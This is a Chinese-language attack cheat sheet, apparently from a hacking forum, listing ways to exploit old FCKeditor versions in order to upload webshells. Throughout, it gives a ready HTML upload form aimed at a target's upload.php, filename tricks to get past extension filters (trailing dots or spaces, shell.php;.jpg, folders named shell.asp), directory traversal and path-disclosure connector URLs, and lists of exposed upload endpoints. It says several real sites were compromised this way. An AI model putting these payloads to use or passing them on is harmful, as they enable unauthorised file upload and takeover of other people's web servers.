查看編輯器版本
FCKeditor/_whatsnew.html
———————————————————————————————————————————————————————
——————
2. Version 2.2 版本
Apache+linux 環境下在上傳文件後面加個.突破!測試經過。
———————————————————————————————————————————————————————
——————
3.Version <=2.4.2 For php 在處理PHP 上傳的地方並未對Media 類型進行上傳文件類型的控制,致使用戶上傳任意文件!將
如下保存爲html文件,修改action地址。
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
———————————————————————————————————————————————————————
——————
4.FCKeditor 文件上傳「.」變「_」下劃線的繞過方法
不少時候上傳的文件例如:shell.php.rar 或shell.php;.jpg 會變爲shell_php;.jpg 這是新版FCK 的變化。
4.1:提交shell.php+空格繞過
不過空格只支持win 系統 *nix 是不支持的[shell.php 和shell.php+空格是2 個不一樣的文件 未測試。
4.2:繼續上傳同名文件可變爲shell.php;(1).jpg 也能夠新建一個文件夾,只檢測了第一級的目錄,若是跳到二級目錄
就不受限制。
———————————————————————————————————————————————————————
——————
5. 突破創建文件夾
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=
%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?
Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
———————————————————————————————————————————————————————
——————
6. FCKeditor 中test 文件的上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
———————————————————————————————————————————————————————
——————
7.經常使用上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com
%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測試經過)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意紅色部分修改成FCKeditor 實際使用的腳本語言,藍色部分能夠自定義文
件夾名稱也能夠利用../..目錄遍歷,紫色部分爲實際網站地址。
———————————————————————————————————————————————————————
——————
8.其餘上傳地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
通常不少站點都已刪除_samples 目錄,能夠試試。
FCKeditor/editor/fckeditor.html 不能夠上傳文件,能夠點擊上傳圖片按鈕再選擇瀏覽服務器便可跳轉至可上傳文件頁。
———————————————————————————————————————————————————————
——————
9.列目錄漏洞也可助找上傳地址
Version 2.4.1 測試經過
修改CurrentFolder 參數使用 ../../來進入不一樣的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..
%2F&NewFolderName=shell.asp
根據返回的XML 信息能夠查看網站全部的目錄。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也能夠直接瀏覽盤符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?
Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
———————————————————————————————————————————————————————
——————
10.爆路徑漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?
Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
———————————————————————————————————————————————————————
——————
11. FCKeditor 被動限制策略所致使的過濾不嚴問題
影響版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 類別默認拒絕上傳類型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|
htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 容許上傳asa、cer、php二、php四、inc、pwml、pht 後綴的文件上傳後它保存的文件直接用的
$sFilePath = $sServerDir . $sFileName,而沒有使用$sExtension 爲後綴.直接致使在win 下在上傳文件後面加個.來突破[
未測試]!
而在apache 下,由於"Apache 文件名解析缺陷漏洞"也能夠利用之,另建議其餘上傳漏洞中定義TYPE 變量時使用
File 類別來上傳文件,根據FCKeditor 的代碼,其限制最爲狹隘。
在上傳時碰見可直接上傳腳本文件當然很好,但有些版本可能沒法直接上傳能夠利用在文件名後面加.點或空格繞過
,也能夠利用2003 解析漏洞創建xxx.asp文件夾或者上傳xx.asp;.jpg!
———————————————————————————————————————————————————————
——————
12.最古老的漏洞,Type文件沒有限制!
我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,由於程序對type=xxx 的類型沒有檢查。咱們能夠直
接構造上傳把type=Image 改爲Type=hsren 這樣就能夠創建一個叫hsren的文件夾,一個新類型,沒有任何限制,能夠上傳任
意腳本!
———————————————————————————————————————————————————————
——————
==============================================================================================================
=================================
FCK編輯器jsp版本漏洞:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?
Command=FileUpload&Type=Image&CurrentFolder=%2F
上傳馬所在目錄
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
上傳shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/jsp/connector
跟版本有關係.並非百分百成功. 測試成功幾個站.
不能通殺.很遺憾.
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?
type=File&connector=connectors/jsp/connector
若是以上地址不行能夠試試
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
php